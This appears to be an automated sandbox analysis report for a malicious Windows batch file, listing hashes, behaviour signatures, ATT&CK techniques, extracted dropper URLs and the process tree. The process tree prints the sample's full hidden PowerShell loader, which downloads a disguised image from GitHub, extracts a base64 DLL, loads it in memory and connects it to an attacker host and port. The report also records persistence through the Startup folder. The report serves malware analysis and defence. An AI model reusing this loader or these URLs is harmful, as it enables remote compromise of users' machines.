8938e13c2beddb9d26e14c89ea410c5b77a6f34455c848440d9aa17c362d8fad

Analysis

max time kernel
148s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
13/11/2024, 17:41

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General

Target
8938e13c2beddb9d26e14c89ea410c5b77a6f34455c848440d9aa17c362d8fad.bat
Size 210KB
Sample241113-v9sacswgnp
SHA256 8938e13c2beddb9d26e14c89ea410c5b77a6f34455c848440d9aa17c362d8fad
MD5 8f51c8228ad5e4f4f846099876395481
SHA1 12272cd4a2ff5bd798816e8ecc4fd5beef789d4f
SHA512 3a95db9305a7c1527119bc029768f04a8fb9fde0355ae9d82822471c044fd3cccf0e2698c4f99117e0a13dd35f2a988bab55e3030d13fa12bb88cbfa36a28dba
SSDEEP 6144:vZFGrglTqGAKojy+/pHpw04Y4e8aQqQm4SAwv8:n
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

execution

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
https://github.com/CryptersAndTools/Upload/blob/main/new_image.jpg?raw=true
exe.dropper
https://github.com/CryptersAndTools/Upload/blob/main/new_image.jpg?raw=true

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
7	3412	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3412	powershell.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\esbeijar.bat	cmd.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\esbeijar.bat	cmd.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3412	powershell.exe
3412	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3412	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 1188 wrote to memory of 3412	1188	cmd.exe	85
PID 1188 wrote to memory of 3412	1188	cmd.exe	85

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\8938e13c2beddb9d26e14c89ea410c5b77a6f34455c848440d9aa17c362d8fad.bat"
1⤵
- Drops startup file
- Suspicious use of WriteProcessMemory
PID:1188
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$base64Url = 'aHR0cHM6Ly9naXRodWIuY29tL0NyeXB0ZXJzQW5kVG9vbHMvVXBsb2FkL2Jsb2IvbWFpbi9uZXdfaW1hZ2UuanBnP3Jhdz10cnVl'; $url = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($base64Url)); $webClient = New-Object System.Net.WebClient; $imageBytes = $webClient.DownloadData($url); $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); $startIndex -ge 0 -and $endIndex -gt $startIndex; $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $dllBytes = [Convert]::FromBase64String($base64Command); $assembly = [System.Reflection.Assembly]::Load($dllBytes); [Stub.main]::Main('NEVERASFIRES.chickenkiller.com', '1996');"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3412

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

__PSScriptPolicyTest_w3yotqrw.uc0.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_w3yotqrw.uc0.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

memory/3412-2-0x00007FFBAD153000-0x00007FFBAD155000-memory.dmp

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memory/3412-4-0x000001B532A20000-0x000001B532A42000-memory.dmp

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memory/3412-13-0x00007FFBAD150000-0x00007FFBADC11000-memory.dmp

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memory/3412-14-0x00007FFBAD150000-0x00007FFBADC11000-memory.dmp

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memory/3412-15-0x00007FFBAD150000-0x00007FFBADC11000-memory.dmp

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memory/3412-18-0x00007FFBAD150000-0x00007FFBADC11000-memory.dmp

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